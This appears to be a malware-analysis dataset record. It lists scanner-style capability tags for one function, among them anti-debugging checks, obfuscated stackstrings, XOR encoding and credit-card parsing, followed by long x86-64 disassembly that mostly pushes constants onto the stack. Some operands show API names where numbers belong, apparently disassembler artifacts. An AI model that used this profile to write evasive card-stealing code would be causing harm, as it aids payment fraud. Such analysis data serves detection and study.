Function at 0x140002f40
Capabilities:
Authenticate hmac
Check for software breakpoints
Check for unexpected memory writes
Check mutex on windows
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get file size
Get system information on windows
Parse credit card information
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x29cb8
call fcn.1402090a0
sub rsp, rax
mov rax, qword [0x14028bc40]
xor rax, rsp
mov qword [rsp + 0x29ca0], rax
mov dword [rsp + 0x6460], 0x1fee
mov eax, 0x8be
mov word [rsp + 0x1330], ax
mov dword [rsp + 0x6464], 0xecf4
mov byte [rsp + 0x60], 0xe3
mov eax, 0x8cf
mov word [rsp + 0x1334], ax
mov eax, 0x9c
mov word [rsp + 0x1338], ax
mov eax, 0xbbc
mov word [rsp + 0x133c], ax
mov eax, 0xf01
mov word [rsp + 0x1340], ax
mov dword [rsp + 0x6468], 0x753f
mov eax, 0xc02
mov word [rsp + 0x1344], ax
mov byte [rsp + 0x61], 0x73
mov eax, 0xc47
mov word [rsp + 0x1348], ax
mov eax, 0x1d
mov word [rsp + 0x134c], ax
mov dword [rsp + 0x646c], 0xb6d5
mov dword [rsp + 0x6470], 0x7bb
mov byte [rsp + 0x62], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6474], 0x42e2
mov dword [rsp + 0x6478], 0x7e9
mov byte [rsp + 0x63], 0x61
mov byte [rsp + 0x64], 0x63
mov eax, 0x80b
mov word [rsp + 0x1350], ax
mov dword [rsp + 0x647c], 0x47bb
mov byte [rsp + 0x65], 0x32
mov dword [rsp + 0x6480], 0xcf46
mov eax, 0x217
mov word [rsp + 0x1354], ax
mov byte [rsp + 0x66], 0xdc
mov dword [rsp + 0x6484], 0xcbb8
mov dword [rsp + 0x6488], 0x2257
mov dword [rsp + 0x648c], 0x6c95
mov eax, 0xef5
mov word [rsp + 0x1358], ax
mov dword [rsp + 0x6490], 0x3014
mov eax, 0x719
mov word [rsp + 0x135c], ax
mov eax, 0x91a
mov word [rsp + 0x1360], ax
mov eax, 0x2d5
mov word [rsp + 0x1364], ax
mov dword [rsp + 0x6494], 0x9888
mov byte [rsp + 0x67], 0xce
mov dword [rsp + 0x6498], 0x2c8
mov dword [rsp + 0x649c], 0xda15
mov byte [rsp + 0x68], 0x41
mov eax, 0x695
mov word [rsp + 0x1368], ax
mov dword [rsp + 0x64a0], 0x7ffb
mov dword [rsp + 0x64a4], 0xdc1
mov dword [rsp + 0x64a8], 0xc211
mov dword [rsp + 0x64ac], 0x601a
mov byte [rsp + 0x69], 0x88
mov dword [rsp + 0x64b0], 0x7d7d
mov dword [rsp + 0x64b4], 0x56ed
mov dword [rsp + 0x64b8], 0x79b7
mov dword [rsp + 0x64bc], 0x181c
mov byte [rsp + 0x6a], ILFree
mov dword [rsp + 0x64c0], 0x1efd
mov dword [rsp + 0x64c4], 0x6428
mov byte [rsp + 0x6b], 0x26
mov byte [rsp + 0x6c], 0x25
mov eax, 0x6b1
mov word [rsp + 0x136c], ax
mov dword [rsp + 0x64c8], 0x4ef6
mov eax, 0xdda
mov word [rsp + 0x1370], ax
mov dword [rsp + 0x64cc], 0x49ec
mov eax, 0x40e
mov word [rsp + 0x1374], ax
mov dword [rsp + 0x64d0], 0x7ce0
mov eax, 0x4c4
mov word [rsp + 0x1378], ax
mov dword [rsp + 0x64d4], 0x2ed7
mov dword [rsp + 0x64d8], 0x6f8a
mov dword [rsp + 0x64dc], 0x2aae
mov dword [rsp + 0x64e0], 0xc843
mov dword [rsp + 0x64e4], 0x7e62
mov eax, 0x7f7
mov word [rsp + 0x137c], ax
mov dword [rsp + 0x64e8], 0x4d1e
mov dword [rsp + 0x64ec], 0x3417
mov eax, 0x8ff
mov word [rsp + 0x1380], ax
mov byte [rsp + 0x6d], 1
mov dword [rsp + 0x64f0], 0x544f
mov dword [rsp + 0x64f4], 0x38e
mov byte [rsp + 0x6e], 0x35
mov eax, 0xf7a
mov word [rsp + 0x1384], ax
mov eax, 0x584
mov word [rsp + 0x1388], ax
mov eax, 0x7a
mov word [rsp + 0x138c], ax
mov eax, 0x515
mov word [rsp + 0x1390], ax
mov dword [rsp + 0x64f8], 0x5c51
mov byte [rsp + 0x6f], 0x5f
mov eax, 0x13b
mov word [rsp + 0x1394], ax
mov eax, 0x386
mov word [rsp + 0x1398], ax
mov dword [rsp + 0x64fc], 0x48d0
mov eax, 0x2e2
mov word [rsp + 0x139c], ax
mov byte [rsp + 0x70], 0x7d
mov byte [rsp + 0x71], 0xf7
mov dword [rsp + 0x6500], 0x7c65
mov dword [rsp + 0x6504], 0xbc2a
mov byte [rsp + 0x72], 0x28
mov dword [rsp + 0x6508], 0x28f3
mov byte [rsp + 0x73], 3
mov dword [rsp + 0x650c], 0x58c2
mov dword [rsp + 0x6510], 0x4739
mov dword [rsp + 0x6514], 0x11b2
mov dword [rsp + 0x6518], 0x611e
mov byte [rsp + 0x74], 0x1d
mov eax, 0xd02
mov word [rsp + 0x13a0], ax
mov eax, 0x6bc
mov word [rsp + 0x13a4], ax
mov dword [rsp + 0x651c], 0x296
mov dword [rsp + 0x6520], 0x6d2f
mov dword [rsp + 0x6524], 0x4446
mov dword [rsp + 0x6528], 0x5df6
mov eax, 0x4af
mov word [rsp + 0x13a8], ax
mov dword [rsp + 0x652c], 0x5c3e
mov dword [rsp + 0x6530], 0x3a4e
mov dword [rsp + 0x6534], 0xe0c5
mov eax, 0x4a2
mov word [rsp + 0x13ac], ax
mov byte [rsp + 0x75], 0x64
mov dword [rsp + 0x6538], 0x4282
mov byte [rsp + 0x76], 0x12
mov dword [rsp + 0x653c], 0xa646
mov dword [rsp + 0x6540], 0x1394
mov eax, 0x7c8
mov word [rsp + 0x13b0], ax
mov dword [rsp + 0x6544], 0xa9f
mov eax, 0x799
mov word [rsp + 0x13b4], ax
mov byte [rsp + 0x77], 0x16
mov dword [rsp + 0x6548], 0x5169
mov byte [rsp + 0x78], 0x64
mov dword [rsp + 0x654c], 0x70bd
mov dword [rsp + 0x6550], 0x53d
mov dword [rsp + 0x6554], 0xf7b2
mov dword [rsp + 0x6558], 0x64fb
mov dword [rsp + 0x655c], 0x7b6a
mov dword [rsp + 0x6560], 0x4f84
mov dword [rsp + 0x6564], 0x1ba9
mov dword [rsp + 0x6568], 0x3103
mov byte [rsp + 0x79], 0xc0
mov byte [rsp + 0x7a], 0x29
mov dword [rsp + 0x656c], 0x3119
mov dword [rsp + 0x6570], 0x60b3
mov dword [rsp + 0x6574], 0xd64
mov byte [rsp + 0x7b], 0xb3
mov dword [rsp + 0x6578], 0x390
mov dword [rsp + 0x657c], 0x5846
mov dword [rsp + 0x6580], 0x2590
mov byte [rsp + 0x7c], 0xf4
mov dword [rsp + 0x6584], 0x1d60
mov eax, 0x644
mov word [rsp + 0x13b8], ax
mov byte [rsp + 0x7d], 0x38
mov eax, 0x794
mov word [rsp + 0x13bc], ax
mov dword [rsp + 0x6588], 0x4476
mov eax, 0x1d0
mov word [rsp + 0x13c0], ax
mov dword [rsp + 0x658c], 0x3965
mov eax, 0xf00
mov word [rsp + 0x13c4], ax
mov dword [rsp + 0x6590], 0x59e3
mov dword [rsp + 0x6594], 0x67a6
mov byte [rsp + 0x7e], 0xb4
mov dword [rsp + 0x6598], 0x7cdb
mov dword [rsp + 0x659c], 0x18b7
mov dword [rsp + 0x65a0], 0x4b95
mov dword [rsp + 0x65a4], 0x36c1
mov eax, 0x38d
mov word [rsp + 0x13c8], ax
mov dword [rsp + 0x65a8], 0x61fc
mov byte [rsp + 0x7f], 0xe9
mov dword [rsp + 0x65ac], 0xd7fd
mov byte [rsp + 0x80], 0x2a
mov dword [rsp + 0x65b0], 0x876
mov byte [rsp + 0x81], 0xb4
mov byte [rsp + 0x82], 0x34
mov byte [rsp + 0x83], 0x4e
mov dword [rsp + 0x65b4], 0x1d24
mov dword [rsp + 0x65b8], 0x2d0d
mov dword [rsp + 0x65bc], 0x51da
mov dword [rsp + 0x65c0], 0x7932
mov dword [rsp + 0x65c4], 0x1055
mov byte [rsp + 0x84], 0x14
mov dword [rsp + 0x65c8], 0x7d7a
mov eax, 0xe3c
mov word [rsp + 0x13cc], ax
mov dword [rsp + 0x65cc], 0xd6bd
mov byte [rsp + 0x85], 0x5f
mov eax, 0x22d
mov word [rsp + 0x13d0], ax
mov dword [rsp + 0x65d0], 0x8a5
mov dword [rsp + 0x65d4], 0x3879
mov eax, DefSubclassProc
mov word [rsp + 0x13d4], ax
mov dword [rsp + 0x65d8], 0x7810
mov dword [rsp + 0x65dc], 0x6760
mov eax, 0xd2c
mov word [rsp + 0x13d8], ax
mov dword [rsp + 0x65e0], 0x67c8
mov dword [rsp + 0x65e4], 0x77f4
mov eax, 0xa8
mov word [rsp + 0x13dc], ax
mov dword [rsp + 0x65e8], 0x339b
mov byte [rsp + 0x86], SHDoDragDrop
mov eax, 0x350
mov word [rsp + 0x13e0], ax
mov dword [rsp + 0x65ec], 0x2acb
mov dword [rsp + 0x65f0], 0x5baa
mov dword [rsp + 0x65f4], 0x341b
mov eax, 0x409
mov word [rsp + 0x13e4], ax
mov eax, 0xfe9
mov word [rsp + 0x13e8], ax
mov dword [rsp + 0x65f8], 0x9b8f
mov byte [rsp + 0x87], SHDoDragDrop
mov eax, 0x6f3
mov word [rsp + 0x13ec], ax
mov dword [rsp + 0x65fc], 0x2d38
mov dword [rsp + 0x6600], 0xec3e
mov byte [rsp + 0x88], 0x67
mov dword [rsp + 0x6604], 0x4d53
mov byte [rsp + 0x89], 2
mov dword [rsp + 0x6608], 0x2fcb
mov dword [rsp + 0x660c], 0x6d64
mov dword [rsp + 0x6610], 0x1c52
mov eax, 0x75e
mov word [rsp + 0x13f0], ax
mov byte [rsp + 0x8a], 0x3e
mov dword [rsp + 0x6614], 0x4b9a
mov dword [rsp + 0x6618], 0xd739
mov eax, 0x7e
mov word [rsp + 0x13f4], ax
mov dword [rsp + 0x661c], 0xc7
mov dword [rsp + 0x6620], 0x638f
mov dword [rsp + 0x6624], 0x8d64
mov eax, 0xc6e
mov word [rsp + 0x13f8], ax
mov dword [rsp + 0x6628], 0x5ba4
mov dword [rsp + 0x662c], 0x452f
mov dword [rsp + 0x6630], 0x3345
mov dword [rsp + 0x6634], 0xd72
mov eax, 0x2de
mov word [rsp + 0x13fc], ax
mov dword [rsp + 0x6638], 0xfbbc
mov dword [rsp + 0x663c], 0xe0ac
mov dword [rsp + 0x6640], 0x45e8
mov eax, 0x302
mov word [rsp + 0x1400], ax
mov byte [rsp + 0x8b], 0x38
mov dword [rsp + 0x6644], 0x6fa0
mov dword [rsp + 0x6648], 0x6ba4
mov dword [rsp + 0x664c], 0x3d28
mov dword [rsp + 0x6650], 0x522d
mov dword [rsp + 0x6654], 0xf43d
mov dword [rsp + 0x6658], 0x2763
mov eax, 0x779
mov word [rsp + 0x1404], ax
mov dword [rsp + 0x665c], 0x15e9
mov eax, 0x6ae
mov word [rsp + 0x1408], ax
mov byte [rsp + 0x8c], 0x4d
mov eax, 0x5cb
mov word [rsp + 0x140c], ax
mov byte [rsp + 0x8d], DrawInsert
mov dword [rsp + 0x6660], 0xdc34
mov byte [rsp + 0x8e], 0x35
mov dword [rsp + 0x6664], 0xde3
mov dword [rsp + 0x6668], 0x762c
mov dword [rsp + 0x666c], 0x4dad
mov byte [rsp + 0x8f], 0xb6
mov eax, 0xd3b
mov word [rsp + 0x1410], ax
mov eax, 0x7a8
mov word [rsp + 0x1414], ax
mov eax, 0x5f8
mov word [rsp + 0x1418], ax
mov byte [rsp + 0x90], 0x7a
mov dword [rsp + 0x6670], 0x48aa
mov eax, 0xa84
mov word [rsp + 0x141c], ax
mov dword [rsp + 0x6674], 0x6513
mov dword [rsp + 0x6678], 0x3678
mov dword [rsp + 0x667c], 0x1ed0
mov byte [rsp + 0x91], 0x5a
mov dword [rsp + 0x6680], 0xfabd
mov dword [rsp + 0x6684], 0x74ca
mov dword [rsp + 0x6688], 0x3e25
mov eax, 0xa04
mov word [rsp + 0x1420], ax
mov dword [rsp + 0x668c], 0x8441
mov byte [rsp + 0x92], 0x20
mov byte [rsp + 0x93], 0x1b
mov dword [rsp + 0x6690], 0xca41
mov dword [rsp + 0x6694], 0x43bb
mov dword [rsp + 0x6698], 0x403d
mov byte [rsp + 0x94], 0x3d
mov dword [rsp + 0x669c], 0x3907
mov dword [rsp + 0x66a0], 0x71f1
mov dword [rsp + 0x66a4], 0xe8a1
mov eax, 0xff
mov word [rsp + 0x1424], ax
mov dword [rsp + 0x66a8], 0xabf
mov eax, 0x720
mov word [rsp + 0x1428], ax
mov dword [rsp + 0x66ac], 0x7f40
mov dword [rsp + 0x66b0], 0x7520
mov byte [rsp + 0x95], 0x66
mov dword [rsp + 0x66b4], 0x5363
mov dword [rsp + 0x66b8], 0x9496
mov byte [rsp + 0x96], 0x74
mov dword [rsp + 0x66bc], 0x5234
mov dword [rsp + 0x66c0], 0xbc3a
mov dword [rsp + 0x66c4], 0x59e0
mov dword [rsp + 0x66c8], 0x70c6
mov dword [rsp + 0x66cc], 0x6847
mov eax, 0xfc1
mov word [rsp + 0x142c], ax
mov dword [rsp + 0x66d0], 0x3a90
mov eax, 0x7e9
mov word [rsp + 0x1430], ax
mov dword [rsp + 0x66d4], 0xac
mov dword [rsp + 0x66d8], 0x2ab7
mov dword [rsp + 0x66dc], 0x6593
mov dword [rsp + 0x66e0], 0x887
mov byte [rsp + 0x97], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x66e4], 0x4070
mov byte [rsp + 0x98], 0xc1
mov dword [rsp + 0x66e8], 0xce3a
mov dword [rsp + 0x66ec], 0x7c29
mov byte [rsp + 0x99], 0xbe
mov eax, 0x512
mov word [rsp + 0x1434], ax
mov dword [rsp + 0x66f0], 0x4ed7
mov byte [rsp + 0x9a], 0x8f
mov dword [rsp + 0x66f4], 0xc0c9
mov dword [rsp + 0x66f8], 0x6261
mov eax, 0xfc
mov word [rsp + 0x1438], ax
mov dword [rsp + 0x66fc], 0x3442
mov eax, 0x710
mov word [rsp + 0x143c], ax
mov eax, 0xbfe
mov word [rsp + 0x1440], ax
mov dword [rsp + 0x6700], 0x178e
mov dword [rsp + 0x6704], 0x4695
mov dword [rsp + 0x6708], 0x5f67
mov byte [rsp + 0x9b], 0x66
mov byte [rsp + 0x9c], SHSetInstanceExplorer
mov dword [rsp + 0x670c], 0x29b6
mov byte [rsp + 0x9d], SHSetInstanceExplorer
mov byte [rsp + 0x9e], DrawInsert
mov dword [rsp + 0x6710], 0xddf3
mov dword [rsp + 0x6714], 0x3a70
mov dword [rsp + 0x6718], 0x365f
mov byte [rsp + 0x9f], 0x2f
mov eax, 0x580
mov word [rsp + 0x1444], ax
mov byte [rsp + 0xa0], 0x41
mov dword [rsp + 0x671c], 0x4705
mov eax, 0xaf7
mov word [rsp + 0x1448], ax
mov dword [rsp + 0x6720], 0x24df
mov eax, 0x38e
mov word [rsp + 0x144c], ax
mov eax, 0x166
mov word [rsp + 0x1450], ax
mov dword [rsp + 0x6724], 0x7c25
mov dword [rsp + 0x6728], 0x459a
mov dword [rsp + 0x672c], 0x6841
mov dword [rsp + 0x6730], 0x36d1
mov eax, 0x424
mov word [rsp + 0x1454], ax
mov byte [rsp + 0xa1], 0xa4
mov byte [rsp + 0xa2], 0x81
mov byte [rsp + 0xa3], 9
mov dword [rsp + 0x6734], 0x8eb8
mov dword [rsp + 0x6738], 0x32ad
mov eax, 0x31f
mov word [rsp + 0x1458], ax
mov eax, 0x71d
mov word [rsp + 0x145c], ax
mov byte [rsp + 0xa4], 0x75
mov byte [rsp + 0xa5], 0x1a
mov dword [rsp + 0x673c], 0xe7b6
mov byte [rsp + 0xa6], 0x26
mov dword [rsp + 0x6740], 0x58c6
mov dword [rsp + 0x6744], 0x3cd7
mov dword [rsp + 0x6748], 0xd150
mov byte [rsp + 0xa7], 0x2b
mov eax, 0xc0b
mov word [rsp + 0x1460], ax
mov dword [rsp + 0x674c], 0xe61a
mov dword [rsp + 0x6750], 0xb13
mov eax, 0x6a7
mov word [rsp + 0x1464], ax
mov dword [rsp + 0x6754], 0xb75
mov byte [rsp + 0xa8], 0x6b
mov eax, 0x783
mov word [rsp + 0x1468], ax
mov dword [rsp + 0x6758], 0xa7a1
mov dword [rsp + 0x675c], 0x6d03
mov byte [rsp + 0xa9], 0xba
mov dword [rsp + 0x6760], 0x42c6
mov byte [rsp + 0xaa], 0xd5
mov byte [rsp + 0xab], 0x61
mov dword [rsp + 0x6764], 0xa458
mov byte [rsp + 0xac], 0xf2
mov eax, 0x7a7
mov word [rsp + 0x146c], ax
mov byte [rsp + 0xad], 0x22
mov byte [rsp + 0xae], 0x42
mov eax, 0xf0e
mov word [rsp + 0x1470], ax
mov eax, 0x4dc
mov word [rsp + 0x1474], ax
mov byte [rsp + 0xaf], 0x8f
mov byte [rsp + 0xb0], 0x70
mov dword [rsp + 0x6768], 0x2c58
mov dword [rsp + 0x676c], 0x4dc4
mov eax, 0x7c5
mov word [rsp + 0x1478], ax
mov dword [rsp + 0x6770], 0xa644
mov eax, 0x486
mov word [rsp + 0x147c], ax
mov eax, 0x772
mov word [rsp + 0x1480], ax
mov eax, 0x1a3
mov word [rsp + 0x1484], ax
mov dword [rsp + 0x6774], 0x618d
mov dword [rsp + 0x6778], 0x3794
mov dword [rsp + 0x677c], 0x746c
mov eax, 0x54f
mov word [rsp + 0x1488], ax
mov byte [rsp + 0xb1], 1
mov eax, 0x407
mov word [rsp + 0x148c], ax
mov eax, 0x7b
mov word [rsp + 0x1490], ax
mov eax, 0x447
mov word [rsp + 0x1494], ax
mov dword [rsp + 0x6780], 0xa69d
mov dword [rsp + 0x6784], 0x3128
mov dword [rsp + 0x6788], 0xda00
mov dword [rsp + 0x678c], 0x1044
mov dword [rsp + 0x6790], 0x15a2
mov eax, 0x45c
mov word [rsp + 0x1498], ax
mov dword [rsp + 0x6794], 0x5d6a
mov dword [rsp + 0x6798], 0xe6b
mov dword [rsp + 0x679c], 0xe7af
mov eax, 0x755
mov word [rsp + 0x149c], ax
mov dword [rsp + 0x67a0], 0x5f43
mov dword [rsp + 0x67a4], 0xc9e
mov eax, 0xf3d
mov word [rsp + 0x14a0], ax
mov byte [rsp + 0xb2], 0xb7
mov eax, 0xd45
mov word [rsp + 0x14a4], ax
mov dword [rsp + 0x67a8], 0xfef
mov dword [rsp + 0x67ac], 0x6204
mov eax, 0x282
mov word [rsp + 0x14a8], ax
mov byte [rsp + 0xb3], 0xce
mov dword [rsp + 0x67b0], 0x1bc2
mov dword [rsp + 0x67b4], 0xfc3d
mov dword [rsp + 0x67b8], 0xe02
mov dword [rsp + 0x67bc], 0x62a7
mov dword [rsp + 0x67c0], 0x6aad
mov dword [rsp + 0x67c4], 0x2452
mov dword [rsp + 0x67c8], 0xbbee
mov eax, 0x5e9
mov word [rsp + 0x14ac], ax
mov eax, 0x787
mov word [rsp + 0x14b0], ax
mov eax, 0xd11
mov word [rsp + 0x14b4], ax
mov dword [rsp + 0x67cc], 0x407a
mov eax, 0x9db
mov word [rsp + 0x14b8], ax
mov eax, 0xa5
mov word [rsp + 0x14bc], ax
mov dword [rsp + 0x67d0], 0x49d9
mov eax, 0x674
mov word [rsp + 0x14c0], ax
mov dword [rsp + 0x67d4], 0x7c0f
mov dword [rsp + 0x67d8], 0x38d6
mov eax, 0x6ac
mov word [rsp + 0x14c4], ax
mov eax, 0xe90
mov word [rsp + 0x14c8], ax
mov eax, 0xee9
mov word [rsp + 0x14cc], ax
mov dword [rsp + 0x67dc], 0x5aac
mov dword [rsp + 0x67e0], 0x33d4
mov byte [rsp + 0xb4], 0x3f
mov byte [rsp + 0xb5], 0x19
mov byte [rsp + 0xb6], 0x88
mov dword [rsp + 0x67e4], 0x7b7a
mov byte [rsp + 0xb7], 0xef
mov dword [rsp + 0x67e8], 0x64a1
mov dword [rsp + 0x67ec], 0x1d36
mov dword [rsp + 0x67f0], 0xf910
mov eax, 0xe15
mov word [rsp + 0x14d0], ax
mov dword [rsp + 0x67f4], 0x5aa5
mov byte [rsp + 0xb8], 2
mov byte [rsp + 0xb9], 0x77
mov byte [rsp + 0xba], 0x59
mov dword [rsp + 0x67f8], 0x5613
mov dword [rsp + 0x67fc], 0x232f
mov byte [rsp + 0xbb], 0xa4
mov eax, 0xa3a
mov word [rsp + 0x14d4], ax
mov dword [rsp + 0x6800], 0x4f62
mov byte [rsp + 0xbc], 0x25
mov dword [rsp + 0x6804], 0x9ef0
mov byte [rsp + 0xbd], 3
mov dword [rsp + 0x6808], 0x6f35
mov eax, 0xde7
mov word [rsp + 0x14d8], ax
mov eax, 0xea5
mov word [rsp + 0x14dc], ax
mov dword [rsp + 0x680c], 0x6267
mov byte [rsp + 0xbe], 0xc0
mov byte [rsp + 0xbf], 0x6d
mov dword [rsp + 0x6810], 0xad6b
mov eax, 0x10d
mov word [rsp + 0x14e0], ax
mov dword [rsp + 0x6814], 0x306
mov dword [rsp + 0x6818], 0x4f79
mov byte [rsp + 0xc0], 0xeb
mov dword [rsp + 0x681c], 0xf70
mov eax, 0x126
mov word [rsp + 0x14e4], ax
mov eax, 0x12
mov word [rsp + 0x14e8], ax
mov dword [rsp + 0x6820], 0x6b65
mov eax, 0x70
mov word [rsp + 0x14ec], ax
mov dword [rsp + 0x6824], 0x2943
mov byte [rsp + 0xc1], 0x8d
mov dword [rsp + 0x6828], 0x317
mov byte [rsp + 0xc2], 0x77
mov eax, 0x28b
mov word [rsp + 0x14f0], ax
mov dword [rsp + 0x682c], 0x65b4
mov dword [rsp + 0x6830], 0x7201
mov dword [rsp + 0x6834], 0xed6
mov dword [rsp + 0x6838], 0xf6d
mov dword [rsp + 0x683c], 0xfc1
mov dword [rsp + 0x6840], 0x6650
mov byte [rsp + 0xc3], 0xbd
mov dword [rsp + 0x6844], 0x47fd
mov eax, 0x794
mov word [rsp + 0x14f4], ax
mov dword [rsp + 0x6848], 0x504c
mov dword [rsp + 0x684c], 0x5668
mov dword [rsp + 0x6850], 0x7501
mov dword [rsp + 0x6854], 0x6911
mov dword [rsp + 0x6858], 0x1515
mov eax, 0xe6b
mov word [rsp + 0x14f8], ax
mov dword [rsp + 0x685c], 0x43ae
mov dword [rsp + 0x6860], 0x7ab8
mov byte [rsp + 0xc4], 0x1e
mov dword [rsp + 0x6864], 0x5f1e
mov dword [rsp + 0x6868], 0x52c4
mov eax, 0xe42
mov word [rsp + 0x14fc], ax
mov dword [rsp + 0x686c], 0x6a00
mov eax, 0xb83
mov word [rsp + 0x1500], ax
mov eax, 0x2f8
mov word [rsp + 0x1504], ax
mov dword [rsp + 0x6870], 0x608b
mov dword [rsp + 0x6874], 0x71db
mov eax, 0x3ff
mov word [rsp + 0x1508], ax
mov dword [rsp + 0x6878], 0x1268
mov eax, 0x1eb
mov word [rsp + 0x150c], ax
mov dword [rsp + 0x687c], 0x30a0
mov dword [rsp + 0x6880], 0x3cf1
mov dword [rsp + 0x6884], 0x40db
mov eax, 0x2e3
mov word [rsp + 0x1510], ax
mov dword [rsp + 0x6888], 0xf062
mov byte [rsp + 0xc5], 0x2d
mov byte [rsp + 0xc6], 0x70
mov dword [rsp + 0x688c], 0x3aaa
mov eax, 0x433
mov word [rsp + 0x1514], ax
mov dword [rsp + 0x6890], 0x2559
mov eax, 0x3dc
mov word [rsp + 0x1518], ax
mov eax, 0xa46
mov word [rsp + 0x151c], ax
mov eax, 0x6e7
mov word [rsp + 0x1520], ax
mov eax, 0xcf9
mov word [rsp + 0x1524], ax
mov eax, 0x28
mov word [rsp + 0x1528], ax
mov dword [rsp + 0x6894], 0x4173
mov eax, 0xd0f
mov word [rsp + 0x152c], ax
mov dword [rsp + 0x6898], 0x71b1
mov dword [rsp + 0x689c], 0x41b6
mov dword [rsp + 0x68a0], 0x19c0
mov dword [rsp + 0x68a4], 0x1303
mov eax, 0x42b
mov word [rsp + 0x1530], ax
mov dword [rsp + 0x68a8], 0x498
mov eax, 0x52e
mov word [rsp + 0x1534], ax
mov byte [rsp + 0xc7], SHSetInstanceExplorer
mov eax, 0x933
mov word [rsp + 0x1538], ax
mov dword [rsp + 0x68ac], 0xa6cd
mov dword [rsp + 0x68b0], 0x2275
mov dword [rsp + 0x68b4], 0x136e
mov dword [rsp + 0x68b8], 0x1612
mov dword [rsp + 0x68bc], 0x14ba
mov dword [rsp + 0x68c0], 0xb858
mov dword [rsp + 0x68c4], 0x31a
mov eax, 0xc06
mov word [rsp + 0x153c], ax
mov byte [rsp + 0xc8], 0xbf
mov byte [rsp + 0xc9], 0x8e
mov eax, 0x81e
mov word [rsp + 0x1540], ax
mov eax, 0x67c
mov word [rsp + 0x1544], ax
mov byte [rsp + 0xca], 0x7e
mov byte [rsp + 0xcb], 0x16
mov dword [rsp + 0x68c8], 0x37ae
mov byte [rsp + 0xcc], 0xc6
mov eax, 0x1fd
mov word [rsp + 0x1548], ax
mov dword [rsp + 0x68cc], 0xa346
mov byte [rsp + 0xcd], SHSetInstanceExplorer
mov dword [rsp + 0x68d0], 0x20a8
mov dword [rsp + 0x68d4], 0x4ce9
mov eax, 0x565
mov word [rsp + 0x154c], ax
mov byte [rsp + 0xce], 0x4f
mov eax, 0x701
mov word [rsp + 0x1550], ax
mov dword [rsp + 0x68d8], 0x6cba
mov dword [rsp + 0x68dc], 0x39ed
mov dword [rsp + 0x68e0], 0x6287
mov dword [rsp + 0x68e4], 0x3f99
mov dword [rsp + 0x68e8], 0x7b9e
mov byte [rsp + 0xcf], 0xa0
mov dword [rsp + 0x68ec], 0xc438
mov dword [rsp + 0x68f0], 0x6c0a
mov dword [rsp + 0x68f4], 0x3ed2
mov eax, 0x9d7
mov word [rsp + 0x1554], ax
mov dword [rsp + 0x68f8], 0x40c
mov byte [rsp + 0xd0], 0x5f
mov byte [rsp + 0xd1], 0x7d
mov byte [rsp + 0xd2], 0x73
mov dword [rsp + 0x68fc], 0xfd9
mov dword [rsp + 0x6900], 0x59c0
mov dword [rsp + 0x6904], 0xa1d0
mov eax, 0x281
mov word [rsp + 0x1558], ax
mov dword [rsp + 0x6908], 0x187c
mov dword [rsp + 0x690c], 0x6873
mov dword [rsp + 0x6910], 0x2240
mov byte [rsp + 0xd3], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6914], 0xec4d
mov eax, 0x305
mov word [rsp + 0x155c], ax
mov dword [rsp + 0x6918], 0x3adc
mov dword [rsp + 0x691c], 0xb5b
mov byte [rsp + 0xd4], 0x29
mov eax, 0x98e
mov word [rsp + 0x1560], ax
mov dword [rsp + 0x6920], 0x44be
mov dword [rsp + 0x6924], 0xf1b0
mov dword [rsp + 0x6928], 0x65a8
mov byte [rsp + 0xd5], 0x76
mov dword [rsp + 0x692c], 0x6d34
mov byte [rsp + 0xd6], SHDoDragDrop
mov byte [rsp + 0xd7], 0x14
mov byte [rsp + 0xd8], 0x62
mov dword [rsp + 0x6930], 0xde8b
mov eax, 0xe6a
mov word [rsp + 0x1564], ax
mov dword [rsp + 0x6934], 0x7768
mov dword [rsp + 0x6938], 0x9853
mov byte [rsp + 0xd9], 0x42
mov dword [rsp + 0x693c], 0xc368
mov dword [rsp + 0x6940], 0x2d05
mov dword [rsp + 0x6944], 0x811a
mov eax, 0xdbb
mov word [rsp + 0x1568], ax
mov eax, 0x31c
mov word [rsp + 0x156c], ax
mov eax, 0x14c
mov word [rsp + 0x1570], ax
mov eax, 0xc3c
mov word [rsp + 0x1574], ax
mov byte [rsp + 0xda], ILFree
mov dword [rsp + 0x6948], 0x8c0f
mov byte [rsp + 0xdb], 0x5a
mov dword [rsp + 0x694c], 0x2fed
mov dword [rsp + 0x6950], 0x5ff
mov eax, 0x16f
mov word [rsp + 0x1578], ax
mov dword [rsp + 0x6954], 0x5cf
mov dword [rsp + 0x6958], 0x3b5a
mov eax, 0x27c
mov word [rsp + 0x157c], ax
mov dword [rsp + 0x695c], 0x9941
mov eax, 0x640
mov word [rsp + 0x1580], ax
mov dword [rsp + 0x6960], 0xd2aa
mov dword [rsp + 0x6964], 0xeee9
mov dword [rsp + 0x6968], 0xf2a3
mov eax, 0x497
mov word [rsp + 0x1584], ax
mov dword [rsp + 0x696c], 0x566b
mov byte [rsp + 0xdc], 0x89
mov byte [rsp + 0xdd], 0x22
mov dword [rsp + 0x6970], 0x206e
mov dword [rsp + 0x6974], 0x45f1
mov dword [rsp + 0x6978], 0x6f34
mov dword [rsp + 0x697c], 0x63b9
mov dword [rsp + 0x6980], 0x4f73
mov byte [rsp + 0xde], SHSetInstanceExplorer
mov byte [rsp + 0xdf], 0x62
mov byte [rsp + 0xe0], 0x26
mov dword [rsp + 0x6984], 0x2668
mov eax, 0xe99
mov word [rsp + 0x1588], ax
mov dword [rsp + 0x6988], 0x2b2
mov byte [rsp + 0xe1], 0x7e
mov dword [rsp + 0x698c], 0x76e3
mov eax, 0x801
mov word [rsp + 0x158c], ax
mov byte [rsp + 0xe2], SHSetInstanceExplorer
mov dword [rsp + 0x6990], 0xc54b
mov dword [rsp + 0x6994], 0x3307
mov eax, 0x87b
mov word [rsp + 0x1590], ax
mov eax, 0xc0d
mov word [rsp + 0x1594], ax
mov byte [rsp + 0xe3], 0x7b
mov dword [rsp + 0x6998], 0x6f24
mov dword [rsp + 0x699c], 0x6eda
mov dword [rsp + 0x69a0], 0x1ae1
mov eax, 0x2dc
mov word [rsp + 0x1598], ax
mov dword [rsp + 0x69a4], 0x7aa7
mov dword [rsp + 0x69a8], 0x3a85
mov dword [rsp + 0x69ac], 0x7ba0
mov dword [rsp + 0x69b0], 0x3d5
